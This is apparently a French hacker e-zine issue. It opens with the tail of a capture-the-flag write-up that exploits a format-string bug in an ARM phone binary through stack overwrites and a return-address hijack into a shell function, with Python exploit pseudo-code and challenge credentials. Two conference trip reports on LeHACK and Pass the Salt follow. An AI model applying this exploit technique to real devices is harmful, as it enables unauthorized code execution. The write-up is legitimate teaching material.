de la stack, l'adresse de local_00 est fp-0x40 Avec un travail d'analyse sur cmd_echo et handle_commands, on déduit la composition de la stack au moment de l'appel à snprintf. La mention "argK" donne la valeur de k qui doit être utilisé dans "%k$x" ou "%k$hhn" pour accéder à cet emplacement de la stack. Pour rappel, on commence à arg2 car arg1 est passé en registre via r3. | arg02 / [padding] <--- sp au moment de l'appel à snprintf | arg03 | cmd_echo: socket | arg04 | [unused] | arg05 | error_msg | arg06 | error_msg | arg07 | error_msg | arg08 | error_msg | arg09 | error_msg | arg10 | error_msg | arg11 | error_msg | arg12 | error_msg | arg13 | *to_echo | arg14 | len_to_echo | arg15 \ *to_print | arg16 save fp | arg17 save sp | arg18 save lr ---> retour en 0x9194 | arg19 [padding] <--- fp pointe ici pendant cmd_echo | arg20 / [padding] | arg21 | handle_commands: socket | arg22 | [unused] | arg23 | buffer_commande[ 0.. 3] | arg24 | buffer_commande[ 4.. 7] | arg25 | buffer_commande[ 8..11] | arg26 | buffer_commande[12..15] | arg27 | buffer_commande[16..19] | arg28 | buffer_commande[20..23] | arg29 | buffer_commande[24..27] | arg30 | buffer_commande[28..31] | arg31 \ len_command | arg32 save fp | arg33 save sp | arg34 save lr ---> retour en 0x9824 | arg35 [padding] <--- fp pointe ici pendant handle_commands On remarque ici que le buffer_commande (appelé "buf" dans les symboles de debug) est alloué dans la stack par handle_commands. On note aussi que le programme utilise strcmp("echo", buffer_commande) pour voir si la commande envoyée est "echo". Ceci signifie que seuls les 5 premiers caractères seront vérifiées ("echo" suivi du \0 indiquant la fin de chaîne en C). On peut donc utiliser tout ce qu'il y a derrière buffer_commande[5..30] pour écrire ce qu'on veut sur la stack (on ne peut pas utiliser buffer_commande[31] car le code le met à 0 après réception de la commande pour éviter les buffer overruns). Comme on ne peut accéder à cette zone qu'au travers des argK qui sont alignés aux mots, seuls 5 emplacement seront utilisables : arg25..arg29. On pourrait utiliser arg24 si notre adresse a son octet de poids faible à 0x00. +-----------------------------------------------------+ | Pour écrire via snprintf, on maitrise arg25 à arg29 | | en envoyant des adresses par la commande "echo". | +-----------------------------------------------------+ ## [ Atterrissage ] --------------------------------------------------- [ 5 ] ## Le but est de sauter vers do_cmd_shell. Malheureusement, la fonction a pour signature do_cmd_shell(socket). Il faut donc que le registre r0 soit égal à socket... Or, en sortant de cmd_echo, r0 contient une valeur interne de la fonction, en l'occurrence la valeur de retour de free (qui ne renvoie rien donc on ne sait vraiment pas ce qu'il y a dans r0 à ce moment là). On ne peut donc pas sauter directement au début de la fonction. En revanche, cette fonction est appelée par cmd_shell qui charge r0 depuis la stack : 0x8ed8 ldr r0, [fp, -0x60] 0x8edc bl 0x8cc4 Cet endroit est un meilleur point d'atterrissage, mais il faudra placer la valeur de socket au bon endroit sur la stack. Cette valeur ne change pas pour toute la durée de la connexion, et on peut la trouver ailleurs sur la stack (par exemple en arg3, arg21). Elle vaut généralement un entier assez faible (<0x800 qui est notre limite via snprintf), donc on pourra utiliser un seul %n pour l'écrire. +--------------------------------------------+ | Pour appeler do_cmd_shell, | | mettre socket au bon endroit sur la stack, | | puis ROPer en 0x8ed8. | +--------------------------------------------+ Ce write-up considère pour l'instant que la stack change d'adresse mémoire entre deux exécutions du programme. Mais il est également possible que le programme ne soit pas chargé au même endroit entre deux exécutions. Il faudra donc prendre la peine de lire lr avant de le ré-écrire, pour ajuster au bon endroit où est le code en mémoire. On s'attend à ce que sa valeur soit 0x9194 quand on veut écrire 0x8ed8. Il suffira de faire lr_read-(0x9194-0x8ed8) pour se retrouver au bon endroit, quelque soit l'adresse de base du programme en mémoire sur la cible. ## [ Attaque ] -------------------------------------------------------- [ 6 ] ## Résumons les étapes de l'attaque : - se logguer - préparer l'appel à do_cmd_shell : - lire la valeur de socket dans la stack - lire la valeur qu'aura fp pendant le ROP (en sortie de cmd_echo, arg16) - écrire socket en fp-0x60 - écrire le ROP : - lire la valeur de lr en sortie de cmd_echo (arg18) - trouver son adresse pour le ré-écrire (par exemple sp de cmd_echo pointe vers arg20, donc sp-8 pointe vers l'emplacement de lr en stack) - écrire lr-(0x9194-0x8ed8) à cet emplacement Notre ROP n'est pas vraiment amicale avec la stack et on ne pourra pas reprendre le cours "normal" du programme après avoir ROPé (pas de retour à handle_commands)... Il faut donc effectuer le ROP en une seule commande echo. En revanche, on peut faire autant de echo de lecture que nécessaires puisque la stack se retrouvera aux mêmes emplacement entre 2 appels à echo. Pseudo-code (syntaxe python), en considérant que l'appel arg(buf) envoie sur la socket le buffer buf en préfixant sa longueur pour qu'il soit correctement reçu par le programme :
arg(b&#39;login\x00&#39;); arg(b&#39;ph0wn\x00&#39;); arg(b&#39;5tr0ng_P@ssw0rd!\x00&#39;)
# Lecture de ce qu&#39;il nous faut
arg(b&#39;echo\x00&#39;)
vals = arg(b&#39;%3$x %16$x %18$x %17$x&#39;)
socket, fp_cmd_echo, lr_cmd_echo, sp_before_echo = vals
# Préparation de l&#39;écriture
new_lr = lr_cmd_echo - (0x9194-0x8ed8)
addr_lr = sp_before_echo - 8
# Comme la valeur écrite par %n ne fait qu&#39;augmenter, on trie les bytes à écrire
# dans l&#39;ordre  croissant. On enregistre  l&#39;adresse à  écrire avec le  byte pour
# savoir comment organiser les adresses après la commande echo.
lr_bytes_addr = sorted([
    (socket, fp_cmd_echo-0x60, &#39;n&#39;),
    ((new_lr&gt;&gt; 0) &amp; 0xff, addr_lr+0, &#39;hhn&#39;),
    ((new_lr&gt;&gt; 8) &amp; 0xff, addr_lr+1, &#39;hhn&#39;),
    ((new_lr&gt;&gt;16) &amp; 0xff, addr_lr+2, &#39;hhn&#39;),
    ((new_lr&gt;&gt;24) &amp; 0xff, addr_lr+3, &#39;hhn&#39;),
])
# On  empile  les  adresses  à écrire  à  la suite  de  la  commande en  gardant
# l&#39;alignement à 4 octets
arg(b&#39;echo\x00\x01\x02\x03&#39;+b&#39;&#39;.join(addr for _,addr,_ in lr_bytes_addr))
# On a besoin de nombre d&#39;octets *entre* deux valeurs (%x successifs)
n_pad = 0
diff_pads = []
for val,_,flag in lr_bytes_addr:
    diff_pads.append((val-n_pad, flag))
    n_pad += val-n_pad
# Ecrit avec les %k$hhn pour écrire (les pointeurs seront en arg25 et suivants)
#  (n&#39;écrit pas %x si pad == 0)
req = &#39;&#39;
for i,(pad,flag) in enumerate(diff_pads):
    if pad: req += f&#39;%1${pad}x&#39;
    req += f&#39;%{25+i}${flag}&#39;
arg(req.encode())
Après ça, on peut envoyer des commandes et recevoir le résultats. Par exemple "ls" puis "cat flag"... ## [ Émulation ] ------------------------------------------------------ [ 7 ] ## Un point qui prend du temps la première fois qu'on le fait mais qui n'est finalement pas si compliqué... J'ai d'abord essayé de re-compiler le kernel correspondant à la distrib et le lancer avec qemu. Mais de toutes façons, je n'aurai pas les périphériques branchés sur le T46S (écran, boutons, ...) donc même après une compilation réussie et des ajustements sur qemu (sans succès eux ^^), c'était peine perdue d'avance (!!!) La commande utile est `qemu-arm -L rootfs/ rootfs/phone/bin/backdoor`. On peut aussi utiliser qemu-arm-static. Ça suffit et fonctionne très bien ! A noter cependant que pour pouvoir debug l'application, gdb-multiarch fonctionne (utiliser gef ou peda par exemple), sauf le mode "follow-fork-mode child" qui permettrait de suivre un fork. Hors, le programme fork. On peut patcher la boucle de la fonction main qui réalise le fork assez facilement. Il suffit de remplacer l'appel à fork par son code de retour dans le process forké (qui est 0). `mov r0, 0` se compile en 00 00 a0 e3 qu'on peut patcher à l'aide de xxd et sed :
cp rootfs/phone/bin/backdoor rootfs/phone/bin/backdoor~
xxd rootfs/phone/bin/backdoor~ |\
    sed &#39;s,^00001ab0.*,00001ab0: b2fb ffeb 0000 a0e3 0030 a0e1 1c30 0be5,&#39; |\
    xxd -r &gt; rootfs/phone/bin/backdoor
L'inconvénient est que le programme termine après un seul client. L'avantage est qu'on peut suivre (et debugger) le déroulement du pwn... On peut lancer `qemu-arm -g 9998 -L rootfs/ rootfs/phone/bin/backdoor` dans une console, utiliser .gdbinit pour définir nos paramètres ("target remote 9998", "set sysrootfs ...", breakpoints, ...), et lancer notre script de pwn. ## [ Chemin alternatif ] ---------------------------------------------- [ 8 ] ## Le chemin initialement proposé par le challenge était de se baser sur rand. J'ai d'abord cru que ce chemin était plus compliqué parce qu'il fallait prédire rand sur une architecture CPU différente, mais ce chemin est en fait plus simple ! Une première clef est que srand est exécuté au début du programme, et conserve sa valeur au travers des fork. Chaque nouveau client a donc la même seed et aura les mêmes valeurs retournées par les appels à rand(). Un autre particularité de rand est que l'algorithme est stable depuis un certain nombre d'années et son implémentation sur différentes architecture donne également les mêmes résultats (c'est du C après tout, c'est assez logique). Par exemple, après un srand(0), rand() donne 1804289383 à travers qemu-arm et sur mon hôte x64 qui a une libc 10 ou 15 ans plus récentes. On peut donc récupérer l'état en mémoire après srand via snprintf et prédire sur notre machine les rand suivants. Il faudra utiliser un outil légèrement différent : "%25$s" déréférence le pointeur qu'on met après la commande echo et lit comme si il s'agissait d'une chaîne de texte (jusqu'au prochain \0). Il faudra également trouver l'adresse de chargement de la libc pour pouvoir pointer vers la zone mémoire qui contient la seed. On peut ensuite soit utiliser un code C pour obtenir les valeurs de rand() à prédire, soit directement appeler la libc en python via ctypes. Après cet appel, on se retrouve dans do_cmd_shell(socket) sans avoir eu à utiliser l'outil d'écriture ! ## [ Fin ? ] ---------------------------------------------------------- [ 9 ] ## Le but du challenge était d'ouvrir les possibles après cette première connexion et de jouer avec le téléphone. Plusieurs idées qu'on aurait pu filer (je n'en suis pas l'auteur) : - charger des fichiers via le et remplacer les icônes affichées lors d'un appel (dans /data/userdata/contact-image/) - faire sonner le téléphone - changer la sonnerie du téléphone - utiliser le framebuffer pour changer l'image affichée sur le téléphone - compiler et charger fbDOOM (idée des concepteurs du challenge) - ... Merci encore à toute l'équipe pour ce challenge très original !
04.txt
  _______      ___       ______      ______    
 /" _   "\    /. ")     /    " \    /    " \   
(: (_/  :|   /:  /     // ____  \  // ____  \  
 \____/ |)  //  /___  /  /    ) :)/  /    ) :) 
    _\  '| (   / _  \(: (____/ //(: (____/ //  
   /" \__|\|:   /_) :)\        /  \        /   
  (________)\_______/  \"_____/    \"_____/ bauds       

┌────────────────────────────────┐
│ ISSUE No 4 - Aout 2026  04.TXT └─────────────────────────────────────────────┐
| SUMMER Trip :: LeHACK & Pass the Salt                                        |
| Tuxlu                                                                        |
| GRENOBLE HACKERSPACE                                                         |
└──────────────────────────────────────────────────────────────────────────────┘

::: LE HACK :::
:::::::::::::::

Nouvelle fournée de conférences sécu et en encore une fois le mot d'ordre est
IA. Mais contrairement au Fosdem, ici on accueille plutôt nos nouveaux seigneurs
AI. Comment utiliser l'IA, tools vibe-codés, intégrations MCP, slides 
générées... On souffle parfois un peu. Heureusement, ces événements permettent 
de rencontrer des vrais humains et avoir des conversations intéressantes! 

Un des talks qui m'a le plus marqué d'ailleurs était non pas par son contenu 
technique, mais pour sa mise en scène, avec des slides garantie fait main avec 
des bouts de 3D crées sous Blender! "Permis d'illuminer toute la ville" par 
MadSquirrel. La vulnérabilité assez simple (une application d'allumage 
d'éclairage publique ouverte aux quatre vents) mais avec un jeu d'acteur 
inspiré d'OSS 117. Je vous conseille le replay! (quand ils seront dispo, d'ici 
6 mois peut-être :/ )

Dans les autres talks, citons :

- "RF : une menace invisible", sur la recherche de mouchards et l'isolation 
contre l'écoute radio, de quoi rendre parano et vérifier ses faux plafonds.
- "Trust Me, I’m A Shortcut", sur les méthodes pour cacher furtivement des 
payloads malveillants dans les liens Windows. 
- "Sighax deep dive", sur l'architecture de la Nintendo 3DS et son hacking.

Je sais que ça ne se fait pas vraiment, mais je me permets d'exprimer une 
déception, avec toutefois une note d'espoir: L'intitulé du talk sur Reversense 
me mettait l'eau à la bouche: une plateforme open-source de hacking 
d'applications mobile intégrant une myriade de scripts Frida pour 
automatiquement obtenir une vue d'ensemble détaillée sur un projet. Hélas le 
talk était assez peu clair sur l'usage concret de la plateforme. Il suffisait 
de se rendre au workshop pour tester directement? Hélas non, le code était 
dispo, mais il n'y avait aucune instruction sur comment le setup :(
Dommage de ne pas profiter du momentum de l’événement pour publier proprement 
le projet dans le même temps, mais j'espère de tout coeur qu'il sera disponible 
d'ici la sortie de ce zine!

Mais LeHack ça n'est clairement pas que la scène principale: le village hardware 
était une super nouveauté (je dis pas ça parce que Beemo relis mon texte, promis
;_; ). J'ai beaucoup aimé le challenge "bus CAN" de Quarkslab ou on peut se
connecter au tableau de bord d'une voiture pour changer l'affichage de la radio,
mais aussi de la vitesse ou des warnings!

Mention aussi aux talks Osint très présents. Ça n'est pas mon domaine, mais j'ai
eu très plaisir à regarder des pros de Geoguessr expliquer la "meta", comment
ils remarquent qu'ils sont sur une route en Guinée car il y a du scotch sur le 
rétroiseur de la voiture Google Maps.  Et ce à 2h du matin. (le CtF était 
difficile , j'avais besoin d'une pause , ok? (T^T) )


::: PASS THE SALT :::
:::::::::::::::::::::

Quittons donc la fournaise parisienne (à défaut de glaces, le goodies le plus 
populaire de LeHack était un éventail! ) et profitons de la fraîcheur du Nord. 
Agrémentées de bières, offertes par le "social event" de Pass the salt! Une 
conférence aux thématiques particulièrement intéressante puis qu'elle mêle 
sécurité et Open-source.

Plein de talks très intéressants et variés. IA toujours, le "Director of 
engineering" de chez Mozilla était là pour nous parler des merveilles de Claude 
Mynthos sur Firefox... Et c'était au final plutôt boring: pas de détails sur 
les vulns trouvées, mais juste une explication sur le setup des modèles et des 
prompts utilisés. Le futur de notre boulot quoi. Youpi :/

En talks qui valent le détour (et dont les replays sont dispos sur le site de 
l'event):

- "Oblivious HTTP", sur un protocole pour cacher notre adresse IP aux serveurs 
en passant par des serveurs proxy. Encore une bonne initiative pour la vie privée!
- "Bypassing BitLocker in under 5 min", qui démontre q'un Bitlocker sans pin 
est un peu comme une serrure sur une porte qu'on peut démonter.

J'ai aussi fait un workshop très intéressant sur Sighthouse, un système pour 
simplifier la vie des reversers en détectant automatiquement les fonctions 
connues, comme les libs de chiffrement. Projet techniquement impressionnant 
avec un petit bémol: Pour que ça marche, il faut se créer une base de données 
en compilant des tonnes de projets pour plein d'architectures, avec plein de 
combinaisons de flags de compilations. La db des créateurs du projet a mis 6 
mois à se compiler sur leur serveur... et elle n'est pas publique! Ils mettent 
en place les instructions pour la build, alors faites chauffer votre serveur 
local ^^' 

Voilà , une semaine de conf bien remplie, rendez vous à Grehack pour ma part!

05.txt
  _______      ___       ______      ______    
 /" _   "\    /. ")     /    " \    /    " \   
(: (_/  :|   /:  /     // ____  \  // ____  \  
 \____/ |)  //  /___  /  /    ) :)/  /    ) :) 
    _\  '| (   / _  \(: (____/ //(: (____/ //  
   /" \__|\|:   /_) :)\        /  \        /   
  (________)\_______/  \"_____/    \"_____/ bauds       

┌────────────────────────────────┐
│ ISSUE No 4 - Aout 2026  05.TXT └─────────────────────────────────────────────┐
| leHACK 2026 - Brave New World                                                |
| Beemo <nflatrea@mailo.com>                                                   |
| GRENOBLE HACKERSPACE                                                         |
└──────────────────────────────────────────────────────────────────────────────┘
   __        __                                                  __        __  
  /  \_====_/  \                                                /  \_====_/  \ 
 ( (\ ' 00 ` /) )                                              ( (\ ' 00 ` /) )
  \__/======\__/                                                \__/======\__/ 
      ||||||                                                        ||||||    
      |`||/                                                         |||||:     
      ||||\                                                         \||||\     
      ||||||                                                        /|||||    
     (======)                            *                         (======)  
      ||||||                                                        ||||||                                                                                  
      |/||`|                __     __  _____   ________ __          |/||`|  
      ||||||               / /__  / / / /   | / ____/ //_/          |||||| 
      ||||||              / / _ \/ /_/ / /| |/ /   / ,<             |||!||  
      ||||||             / /  __/ __  / ___ / /___/ /| |            ||||||  
      \|||||            /_/\___/_/ /_/_/  |_\____/_/ |_|            :|||||  
      /|||||            ..:. .  . .:. ..... . ..:.. .  .            |||||/   
      ||||||            2026 ~ b r a v e n e w w o r l d            ||||||  
      ||`|||            . ::.  .:. .  .:.  .   ... ..:.             ||`|||                                                                                  
      \||||'                                                        \||||'                                
      |/||`|                  TRiP REPoRT :: Beemo                  |/||`|    
     (======)                                                      (======)   
      ||||||                                                        |||||/    
      ||||||                                                        |||||\       
      ||`|||                                                        ||`|||    
      \||||'                                                        \||||'    
        .| |                                                          .| |    
      :/| |.                                                        :/| |.    
          .                                                            .    
        :                                                             :       

TLDR

J'ai pas beaucoup participé autrement qu'en faisant le pitre sur scène,
Beaucoup trop de travail pour une année de plus à Paris. Le thème était
sympa, j'ai pu recroiser du monde et on as surtout pêter les scores
d'épuisement entre un workshop, une présentation et le tout nouveau village
hardware, leLAB. Bref une année mémorable :P

INTRo

Cette année, leHACK nous a pondu un thème bien ambitieux BRAVE NEW WORLD;

Perso, j'ai surtout retenu que c'était l'occasion de monter voir les copains.
Année particulière tout de même car en plus de faire un Workshop, j'ai eu 
l'occasion de faire une présentation (R4d1o_P1r4t3) et de participer à l'orga
d'un tout nouveau village hardware avec Tcccorp, Virtu, Tix, Prom', orwen, 
7h30th3r0n3, erdnaxe, Scttpr, Dr4s1l et les autres que j'aurais oublié

Comme je bosse (oui choquant), je suis arrivé sur Paris quelques jours avant,
profitant d'une mission sur place. J'ai pu négocier mon 26 et 27 juin, j'ai une
partie du AirBnB qu'est gracieusement payé et le train qui par chance m'est
offert par l'équipe de HzV

Avec un autre membre Hackerspace on c'est décidé à monter un maximum de materiel
pour leLAB, alors j'ai bourré deux gros sacs à dos de matos, et quand j'ai vu 
que ça rentrait pas, j'ai balancé le reste dans une caisse. 

Résulat des trucs apportés :

    Matériel de mesure
    ::::::::::::::::::  
    - 5 multimètres C.A 5233
    - 6 oscillos Textronix TDS 1022 + probes
    - 1 set de PCBite Probes x4
    - 3 SDRs (RTL-SDR, HackRF et HydraSDR)
    - 5 antennes + amplis 20dB 
    - 1 set de micro tournevis iFixit

    Interfaces
    ::::::::::
    - 1 PicoGlitcher v3 
    - 1 Bus Pirate v5 
    - 10 CH340/CH341 + leurs princes 
    - 2 STL-Link v2
    - 5 analyseurs logiques 8CH

    Targets
    :::::::
    - 9 routeurs Linksys WRT54GL (classiques, indémodables)
    - 2 GuD PLC
    - 1 Neufbox NB6WAC 

    Et d'autres merdouille IoT dont j'ai plus idée....

Avec mes petites magouilles j'en suis revenus pour :

    - 0€ de train (Un grand merci à HzV :D)
    - 480€ pour 8 jours à Argenteuil (cave humide, puante, mais bon marché)
    - ~80€ de tickets de métro

A mon arrivé, le matos était éparpillé entre BellY dans une caisse, et moi dans 
un gros sac. J'ai laissé le materiel au AirBnB jusqu'au 25 juin, date à la 
laquelle on c'est rejoins. Bon spoiler C'était lourd, il faisait tarpin chaud 
et l'endroit ou j'était puait la pollution, les poubelles et l'humidité

BRAVE new WORLD

J-1 :: Préparation du village LeLAB

Faut d'abord savoir que l'événement est à la Cité des sciences et de 
l’industrie, 30 av Corentin Cariou, 75019 PARIS. Donc pas dutout à Argenteuil.

Je suis à Gennevillier pour le travail et BellY arrive à Gare de Lyon. 

Il à pas eu de chance, il pouvais pas s'amener en voiture, et à donc du tout 
foutre dans un sac de sport et ce taper les 15 kilos de materiels. Merci encore 
à lui pour le transport, qu'as dû se trimballer cette putain de caisse.

On passe le portique sans trop de difficulté, rigolant évidemment de la 
quantitée absurde de bordel par bien rangé dans des sacs pas bien fermés. On 
rejoins donc le salon leHACK la veille de son ouverture pour poser les affaires.
Pas d'bol on peux pas rentrer sans bracelet et on en as pas....Tccorp à bien 
gentillement fait du social pour nous laisser rentrer et j'ai enfin eu la 
possibilitée de poser les affaires. Je rejoins tout le monde dans la petite 
salle et commence à poser mon merdier à côté de Virtu, juste devant l'entrée.

NB: La salle est séparée en deux parties, ouvertes pour l'occasion. Une première
rangée de tables sur la gauche en rentrant, une seconde en face et une dernière
tout au fond à droite.

       ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
       ┃          7h30th3r0n3   DVID            ┌───┐                 ┃
       ┃             ┌──────┬──────┐            │░░░│                 ┃
       ┃             │░░░░░░│░░░░░░│            │░░░│  Tables         ┃
       ┃             └──────┴──────┘            ├───┤  d'Ateliers     ┃
       ┃                                        │░░░│                 ┃
       ┃      ┌───┐                             │░░░│                 ┃
       ┃Virtu │░░░│                             └───┼──────┬──────┐   ┃
       ┃      │░░░│                                 │░░░░░░│░░░░░░│   ┃
       ┃Tix   ├───┤                                 └──────┴──────┘   ┃
       ┃      │░░░│                                                   ┃
       ┃CarIn │░░░│                                                   ┃
       ┃aBox  ├───┤                                                   ┃
       ┃      │░░░│           ┏━━━━━━━━━━━━━━━━━┓               ┌───┐ ┃
       ┃Beemo │░░░│           ┃                 ┃         Gadget│░░░│ ┃
       ┃      └───┘           ┃                 ┃               │░░░│ ┃
       ┃                      ┃      ENTREE     ┃               └───┘ ┃
       ┃                      ┃                 ┃                     ┃
       ┗━━━━━━━━━━━━━━━━━━━━━━┛        ╔ ═ ═ ═ ■┗━━━━━━━━━━━━━━━━━━━━━┛
                          ┌───┐                 ┌──────┬──────┐        
              Un zozo qui │░░░│                 │░░░░░░│░░░░░░│        
              comptais    │░░░│                 └──────┴──────┘        
              les gens    └───┘                  Stickers et Goodies   


Je savais pas trop comment m'organiser, je vois autour de moi et je sais pas 
quoi foutre de mes 6 oscillos, 5 targets etc. Je décide donc de mettre mon vieux
pc, une live ISO de DragonOS + HackRF en libre service devant la table. Derrière 
5 oscillos empilé dont un branché channel 1 sur le RX d'un vieux LINKSYS dépioté
et un CH340 branché au PC. Tccorp à la gentillesse de me filer deux gateways 
Zigbee en plus que je vais pouvoir mettre dans ma pile de merdier.

Pendant que BellY m'aide à organiser la table, je fous les multimètres sur la 
grande table en plus des fers à souder posés par Tccorp

On discute bien et on finis la journée et on profite de l'occasion pour
s'incruster au repas des speakers. On fait connaissace, je recroise Biero qui va
aussi présenter, Stéphane et deux nouvelle personnes que je connais pas.

On reste jusque 23h avant ce ce rendre compte que notre dernier train est à 
00h00 et on s'en va discrètement prendre le tram ;)

je suis sorti de là avec :
                                                  _
                                                 {_}
    2 pintes de bière dans le bide           |(|
    Des oeufs mayonnaises en entrée         /   \    .    ' .
    Un steak sauce poivre avec des frites   |.--|  '     \~~~/
                                                ||  | \~~~/   \_/  
    Je suis pas très viande, je mange       |'--|  \_/     Y 
    majoritairement végétarien mais         '-=-'   Y     _|_
    y'avais du monde et y'avais que ça         _|_jgs
    donc j'ai pas fait le mec chiant                    

Résulat, on as pas payé un copec ;P



J+0 :: Ateliers, ballade et découvertes

Paris étant Paris, on as décider de ce lever un peu plus tôt pour arriver à 
8h30 d'Argenteuil, pas d'bol, les train argenteuil paris est blindé le matin on 
as du attendre bien un ou deux trains ava ot de pouvoir partir, saucissonné dans
le wagon. Puis le métro, toujours saucissonné jusqu'à arriver à l'entrée.

Cette fois, 8h00 du mat, la queue faisais au moins 150m on c'est perdu de vue 
avec BellY et j'ai hésité à gruger Je suis finallement resté calme et j'ai
attendu mon tour. Petit bracelet en poche, badge VIP/Speaker et bandoulière 
j'ai pu filer directement dans la salle pour poser mes affaires, dire bonjour
et me ballader. J'en ai profité pour préparer le laptop en libre service. J'ai
démarré la machine sur DragonOS, allumé ./Simple_IMSI_catcher.py 
(je savais qu'il passait donc petit clin d'oeil) avec une note en gros et gars, 

                               __..._   _...__
                          _..-"      `Y`      "-._
                          \ N'AIE PAS |  UTILISE   /
                          \\  PEUR..  | -MOI :P  //
                          \\\         |         ///
                           \\\ _..---.|.---.._ ///
                        jgs \\`_..---.Y.---.._`//
                             '`               `'

Je suis ensuite allé faire les retrouvailles au stands en attendant mon tour 
pour les ateliers. Tccorp préparais son atelier soudure, 7h30th3r0n3 avais monté
son hall of shame, affichant tout les flippers avec le bluetooth allumé, Gadget 
c'est assis dans un coin avec son oscillo et un fat écran et virtu m'a montré sa
découpe vinyl qu'il as reprogrammé.

Des ateliers étaient programmés toute la journée  

--------------------------------------------------------------------------------
::::::: LeLAB TRACK 
::::::: Village Hardware Salle C et D niveau S2
::::::: 26/06/2026
--------------------------------------------------------------------------------

10:00 - 12:00   Badge Hackropole + Atelier mesures (par team badge FCSC)
        - Soudure de badges lumineux capacitifs
        - Découverte des oscillos, 
          analyseur logique, décodage de protocoles.

12:00 - 13:00   NFC/RFID Lab (Moi)
        - Proxmark3, clone de badges, attaques NFC (replay,clone,fuzz…)
        - Cracker plusieurs cibles, à plusieurs niveaux.

13:00 - 14:00   Hacking de Tag ESL via esp32 (par 7h30th3r0n3)
        - Comprendre le protocole
        - Flasher l'esp32 pour interagir avec le tag
        - Exploration des différentes fonctionnalités

14:00 - 17:00   Ateliers en continu (par team badge FCSC)
        - Toujours du badge et des mesures

17:00 - 18:00    Workshop "Explorer les signaux avec le DigiLab" (par tixlegeek)
        - Flipper Zero, détection de grandeurs, retours sensoriels…


En même temps quelques talks Salle 3 niveau S3


14:00 - 14h50   Talk "IoT Horror Stories" (par Skander Belabed)
15:00 - 16:00   Talk "ESP32 au-delà des limites" (par 7h30th3r0n3)
16:00 - 17:00   Talk "Offensive AI on ESP32" (par x42en & Ben Mz)

--------------------------------------------------------------------------------


10H30 

Sorti de la cave, y'avais déja beaucoup, BEAUCOUP de monde, les stands 
habituels, Mozilla, OSINT-FR, Synacktiv, Quarkslab, YWH, les keufs, etc
J'en profite pour croiser d'anciens élèves à moi et camarades, boire un, puis 
deux, puis trois cafés, manger des bonbons au CBD éviter les keufs et la DGSI 
et faire connaissance avec de nouvelles têtes.

12H00

C'est le moment  de mon atelier "Lecture et clonage de badges RFID", 
j'ai préparé un petit sac de cibles (clairement pas assez) avec un peu de tout,
des badges iTag, du 125KHz, de l'ISO 1444-a, du Mifare Classic 1K et 4K, du
DesFire, et deux trois faux positifs (j'ai mis des cartes sans rien et des 
jetons de casino RFID ISO 18000 qui marche pas sur le pm3) et une dixaines de 
clone chinois du proxmark3 rev2. L'objectif était d'apprendre à compiler et 
flasher le firmware d'iceman sur la machine et d'utiliser les fonctionalitées 
de base. Evidemment, sur les dix copies, on as eu quelques soucis de faux
contacts sur au moins 3, 70% de fiabilitée

La majoritée des gens on pus utiliser le materiel, reflash le proxmark et lire 
le petit sac de cibles que j'avais. J'ai passé les dernières minutes restantes 
à expliquer un petit peu le fonctionnement RFID/NFC, les différents tiroirs et 
leurs utilitées, l'utilisation des clés A et B, le tiroir 0  et l'UUID etc..

Je manquais clairement de cibles et donc demandé au copain Tr1stus1er de me 
filer un coup de mains pour le lendemain.

13H00

Rien de spécial l'après midi, déja j'ai un peu la dalle à force de bouger et 
j'ai compris qu'on avais droit à des paniers bouffe entant que conférenciers,
j'ai oublier de les prendre, Tuxlu m'a donc gentilment acheter un bout de 
sandwich et une boisson. Je me suis ensuite encore balladé, discuté, rencontrer 
du monde. 

Tix faisais des tours de salon avec son joli chapeau, Dr4Sil est arrivé, Des 
skids d'Oteria ce sont amusés à  émettre comme des crados sur un canal PMR en 
mode station de nombres, 70mW dans la gueule on c'est donc amusés à les 
localiser. Pas de chance pour eux, quand on est allé les confronter z'avais pas
fini de tout ranger. Faut dire que leur setup était crade, émettais trop fort 
et pas de bonne qualitée.

Je suis pas aller voir de conférences le premier jour, pas eu l'occasion.

Nous sommes restés avec BellY jusque pas trop tard le soir, 23h pour pouvoir rentrer.

J+1 :: Ateliers, beuverie et présentations

Ok deuxième jour un peu plus compliqué, j'ai un atelier à leLAB à 12H, un 
workshop hardware le soir et surtout une présentation début d'aprèm.
En plus de ça je dois, voir la présentation d'Oros, voir la présentation de 
Biero et d'autres si possible. Surtout que ce soir, on reste juqu'à pas d'heure 
pour le Wargame et comme d'habitude, mon workshop est programmé fin de soirée.

On ce lève ver 7H30, parti à 8H00, on loupe encore un ou deux trains, et on 
arrives vers 9H30-10H00  au salon.

Cette fois moins de monde, les salles étaient un peu plus respirable et on ce 
bousculais pas. Je croise Tr1stus et l'emène poser son bazar, une grosse caisse
de badges, cartes, tickets, ce que tu veux..à peut près 13ans de récup RFID dans
une boite.

Les ateliers changent un petit peu,

--------------------------------------------------------------------------------
::::::: LeLAB Track 
::::::: Village Hardware (Salle C & D niveau S2 + Salle 3 niveau S3)
::::::: 27/06/2026
--------------------------------------------------------------------------------

10h00 - 12h00    Badge Hackropole + Atelier mesures (toujours eux)
         - Soudure de badges lumineux capacitifs
         - Découverte / expérimentation autour des instruments de labo
             (oscilloscope MSO, analyse logique, décodage de protocoles, 
             génération de signaux, glitches, etc.)

12h50 - 13h00   (créneau continu) Workshop NFC/RFID Lab (par Beemo)
        - Proxmark3, clone de badges, attaques NFC…

13h00 - 14h00   Workshop Hacking de Tag ESL via ESP32 (par 7h30th3r0n3)
        - Protocole, flashage ESP32, exploration des fonctionnalités…

14h00 - 17h00   Workshop Badge Hackropole + Atelier mesures
        - Badge + mesures en continu

17h00 - 18h00   Workshop "Explorer les signaux avec le DigiLab" (par tixlegeek)
         - Flipper Zero, détection de grandeurs, retours sensoriels…

18h00 - 18h50   Talk "Cyberpunk Guide to hardware hacking" (par tixlegeek)
        - Un guide simple pour se lancer dans le hardware hacking

18h00 - 20h00   Workshop "Le top 5 des vulnérabilités IoT" (par yggdrasil)
        - Compromettre un firmware / altérer des données /
        élever des privilèges avec peu de matos
20h00 - 21h00   Workshop "Outil de bypass de protection JTAG" (par Croute)
        - Casser une protection (RDP) et récupérer le firmware en 
        reproduisant des attaques réelles


TALKS  Salle 3 niveau S3:


10h00 - 10h20   Talk "KeyProxy" 
        (par Rémi GUILLON)
        - Keylogger physique et open-source conçu pour la Red Team

10h30 - 10h50   Talk "Getting your first CVE with hardware hacking" 
        (Yassine Damiri)    
        - Obtenir ton premier CVE avec du hardware hacking 

11h00 - 11h50   Talk "De la PS Vita au Flipper Zero" 
        (par Jeremie Amsellem)
